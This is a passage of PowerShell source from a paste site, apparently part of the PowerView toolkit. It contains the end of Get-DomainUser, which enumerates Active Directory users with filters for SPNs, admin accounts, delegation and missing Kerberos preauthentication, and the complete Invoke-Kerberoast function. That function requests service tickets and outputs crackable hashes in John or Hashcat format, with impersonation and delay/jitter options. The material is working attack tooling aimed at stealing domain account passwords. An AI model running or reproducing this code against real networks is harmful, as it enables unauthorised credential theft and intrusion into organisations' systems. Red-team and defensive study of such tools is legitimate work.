  781.  
  782. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  783. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  784. [OutputType('PowerView.User')]
  785. [OutputType('PowerView.User.Raw')]
  786. [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
  787. Param(
  788. [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  789. [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  790. [String[]]
  791. $Identity,
  792.  
  793. [Switch]
  794. $SPN,
  795.  
  796. [Switch]
  797. $AdminCount,
  798.  
  799. [Parameter(ParameterSetName = 'AllowDelegation')]
  800. [Switch]
  801. $AllowDelegation,
  802.  
  803. [Parameter(ParameterSetName = 'DisallowDelegation')]
  804. [Switch]
  805. $DisallowDelegation,
  806.  
  807. [Switch]
  808. $TrustedToAuth,
  809.  
  810. [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
  811. [Switch]
  812. $PreauthNotRequired,
  813.  
  814. [ValidateNotNullOrEmpty()]
  815. [String]
  816. $Domain,
  817.  
  818. [ValidateNotNullOrEmpty()]
  819. [Alias('Filter')]
  820. [String]
  821. $LDAPFilter,
  822.  
  823. [ValidateNotNullOrEmpty()]
  824. [String[]]
  825. $Properties,
  826.  
  827. [ValidateNotNullOrEmpty()]
  828. [Alias('ADSPath')]
  829. [String]
  830. $SearchBase,
  831.  
  832. [ValidateNotNullOrEmpty()]
  833. [Alias('DomainController')]
  834. [String]
  835. $Server,
  836.  
  837. [ValidateSet('Base', 'OneLevel', 'Subtree')]
  838. [String]
  839. $SearchScope = 'Subtree',
  840.  
  841. [ValidateRange(1, 10000)]
  842. [Int]
  843. $ResultPageSize = 200,
  844.  
  845. [ValidateRange(1, 10000)]
  846. [Int]
  847. $ServerTimeLimit,
  848.  
  849. [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  850. [String]
  851. $SecurityMasks,
  852.  
  853. [Switch]
  854. $Tombstone,
  855.  
  856. [Alias('ReturnOne')]
  857. [Switch]
  858. $FindOne,
  859.  
  860. [Management.Automation.PSCredential]
  861. [Management.Automation.CredentialAttribute()]
  862. $Credential = [Management.Automation.PSCredential]::Empty,
  863.  
  864. [Switch]
  865. $Raw
  866. )
  867.  
  868. DynamicParam {
  869. $UACValueNames = [Enum]::GetNames($UACEnum)
  870. # add in the negations
  871. $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
  872. # create new dynamic parameter
  873. New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
  874. }
  875.  
  876. BEGIN {
  877. $SearcherArguments = @{}
  878. if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  879. if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  880. if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  881. if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  882. if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  883. if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  884. if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  885. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  886. if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  887. if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  888. $UserSearcher = Get-DomainSearcher @SearcherArguments
  889. }
  890.  
  891. PROCESS {
  892. #bind dynamic parameter to a friendly variable
  893. if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
  894. New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
  895. }
  896.  
  897. if ($UserSearcher) {
  898. $IdentityFilter = ''
  899. $Filter = ''
  900. $Identity | Where-Object {$_} | ForEach-Object {
  901. $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  902. if ($IdentityInstance -match '^S-1-') {
  903. $IdentityFilter += "(objectsid=$IdentityInstance)"
  904. }
  905. elseif ($IdentityInstance -match '^CN=') {
  906. $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  907. if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  908. # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  909. # and rebuild the domain searcher
  910. $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  911. Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  912. $SearcherArguments['Domain'] = $IdentityDomain
  913. $UserSearcher = Get-DomainSearcher @SearcherArguments
  914. if (-not $UserSearcher) {
  915. Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
  916. }
  917. }
  918. }
  919. elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  920. $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  921. $IdentityFilter += "(objectguid=$GuidByteString)"
  922. }
  923. elseif ($IdentityInstance.Contains('\')) {
  924. $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
  925. if ($ConvertedIdentityInstance) {
  926. $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
  927. $UserName = $IdentityInstance.Split('\')[1]
  928. $IdentityFilter += "(samAccountName=$UserName)"
  929. $SearcherArguments['Domain'] = $UserDomain
  930. Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
  931. $UserSearcher = Get-DomainSearcher @SearcherArguments
  932. }
  933. }
  934. else {
  935. $IdentityFilter += "(samAccountName=$IdentityInstance)"
  936. }
  937. }
  938.  
  939. if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  940. $Filter += "(|$IdentityFilter)"
  941. }
  942.  
  943. if ($PSBoundParameters['SPN']) {
  944. Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
  945. $Filter += '(servicePrincipalName=*)'
  946. }
  947. if ($PSBoundParameters['AllowDelegation']) {
  948. Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
  949. # negation of "Accounts that are sensitive and not trusted for delegation"
  950. $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
  951. }
  952. if ($PSBoundParameters['DisallowDelegation']) {
  953. Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
  954. $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
  955. }
  956. if ($PSBoundParameters['AdminCount']) {
  957. Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
  958. $Filter += '(admincount=1)'
  959. }
  960. if ($PSBoundParameters['TrustedToAuth']) {
  961. Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
  962. $Filter += '(msds-allowedtodelegateto=*)'
  963. }
  964. if ($PSBoundParameters['PreauthNotRequired']) {
  965. Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
  966. $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
  967. }
  968. if ($PSBoundParameters['LDAPFilter']) {
  969. Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
  970. $Filter += "$LDAPFilter"
  971. }
  972.  
  973. # build the LDAP filter for the dynamic UAC filter value
  974. $UACFilter | Where-Object {$_} | ForEach-Object {
  975. if ($_ -match 'NOT_.*') {
  976. $UACField = $_.Substring(4)
  977. $UACValue = [Int]($UACEnum::$UACField)
  978. $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
  979. }
  980. else {
  981. $UACValue = [Int]($UACEnum::$_)
  982. $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
  983. }
  984. }
  985.  
  986. $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
  987. Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
  988.  
  989. if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
  990. else { $Results = $UserSearcher.FindAll() }
  991. $Results | Where-Object {$_} | ForEach-Object {
  992. if ($PSBoundParameters['Raw']) {
  993. # return raw result objects
  994. $User = $_
  995. $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
  996. }
  997. else {
  998. $User = Convert-LDAPProperty -Properties $_.Properties
  999. $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
  1000. }
  1001. $User
  1002. }
  1003. if ($Results) {
  1004. try { $Results.dispose() }
  1005. catch {
  1006. Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
  1007. }
  1008. }
  1009. $UserSearcher.dispose()
  1010. }
  1011. }
  1012. }
  1013.  
  1014.  
  1015. function Invoke-Kerberoast {
  1016. <#
  1017. .SYNOPSIS
  1018. Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
  1019. Author: Will Schroeder (@harmj0y), @machosec
  1020. License: BSD 3-Clause
  1021. Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
  1022. .DESCRIPTION
  1023. Uses Get-DomainUser to query for user accounts with non-null service principle
  1024. names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
  1025. The ticket format can be specified with -OutputFormat <John/Hashcat>.
  1026. .PARAMETER Identity
  1027. A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
  1028. SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
  1029. Wildcards accepted.
  1030. .PARAMETER Domain
  1031. Specifies the domain to use for the query, defaults to the current domain.
  1032. .PARAMETER LDAPFilter
  1033. Specifies an LDAP query string that is used to filter Active Directory objects.
  1034. .PARAMETER SearchBase
  1035. The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  1036. Useful for OU queries.
  1037. .PARAMETER Server
  1038. Specifies an Active Directory server (domain controller) to bind to.
  1039. .PARAMETER SearchScope
  1040. Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  1041. .PARAMETER ResultPageSize
  1042. Specifies the PageSize to set for the LDAP searcher object.
  1043. .PARAMETER ServerTimeLimit
  1044. Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  1045. .PARAMETER Tombstone
  1046. Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  1047. .PARAMETER OutputFormat
  1048. Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
  1049. Defaults to 'John'.
  1050. .PARAMETER Credential
  1051. A [Management.Automation.PSCredential] object of alternate credentials
  1052. for connection to the target domain.
  1053. .PARAMETER Delay
  1054. Specifies the delay in seconds between ticket requests.
  1055. .PARAMETER Jitter
  1056. Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
  1057. .EXAMPLE
  1058. Invoke-Kerberoast | fl
  1059. Kerberoasts all found SPNs for the current domain.
  1060. .EXAMPLE
  1061. Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
  1062. Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
  1063. format instead of John (the default).
  1064. .EXAMPLE
  1065. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
  1066. $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
  1067. Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
  1068. Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
  1069. .OUTPUTS
  1070. PowerView.SPNTicket
  1071. Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
  1072. #>
  1073.  
  1074. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  1075. [OutputType('PowerView.SPNTicket')]
  1076. [CmdletBinding()]
  1077. Param(
  1078. [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  1079. [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  1080. [String[]]
  1081. $Identity,
  1082.  
  1083. [ValidateNotNullOrEmpty()]
  1084. [String]
  1085. $Domain,
  1086.  
  1087. [ValidateNotNullOrEmpty()]
  1088. [Alias('Filter')]
  1089. [String]
  1090. $LDAPFilter,
  1091.  
  1092. [ValidateNotNullOrEmpty()]
  1093. [Alias('ADSPath')]
  1094. [String]
  1095. $SearchBase,
  1096.  
  1097. [ValidateNotNullOrEmpty()]
  1098. [Alias('DomainController')]
  1099. [String]
  1100. $Server,
  1101.  
  1102. [ValidateSet('Base', 'OneLevel', 'Subtree')]
  1103. [String]
  1104. $SearchScope = 'Subtree',
  1105.  
  1106. [ValidateRange(1, 10000)]
  1107. [Int]
  1108. $ResultPageSize = 200,
  1109.  
  1110. [ValidateRange(1, 10000)]
  1111. [Int]
  1112. $ServerTimeLimit,
  1113.  
  1114. [Switch]
  1115. $Tombstone,
  1116.  
  1117. [ValidateRange(0,10000)]
  1118. [Int]
  1119. $Delay = 0,
  1120.  
  1121. [ValidateRange(0.0, 1.0)]
  1122. [Double]
  1123. $Jitter = .3,
  1124.  
  1125. [ValidateSet('John', 'Hashcat')]
  1126. [Alias('Format')]
  1127. [String]
  1128. $OutputFormat = 'John',
  1129.  
  1130. [Management.Automation.PSCredential]
  1131. [Management.Automation.CredentialAttribute()]
  1132. $Credential = [Management.Automation.PSCredential]::Empty
  1133. )
  1134.  
  1135. BEGIN {
  1136. $UserSearcherArguments = @{
  1137. 'SPN' = $True
  1138. 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
  1139. }
  1140. if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
  1141. if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
  1142. if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
  1143. if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
  1144. if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
  1145. if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
  1146. if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  1147. if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
  1148. if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
  1149.  
  1150. if ($PSBoundParameters['Credential']) {
  1151. $LogonToken = Invoke-UserImpersonation -Credential $Credential
  1152. }
  1153. }
  1154.  
  1155. PROCESS {
  1156. if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
  1157. Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter
  1158. }
  1159.  
  1160. END {
  1161. if ($LogonToken) {
  1162. Invoke-RevertToSelf -TokenHandle $LogonToken
  1163. }
  1164. }
  1165. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement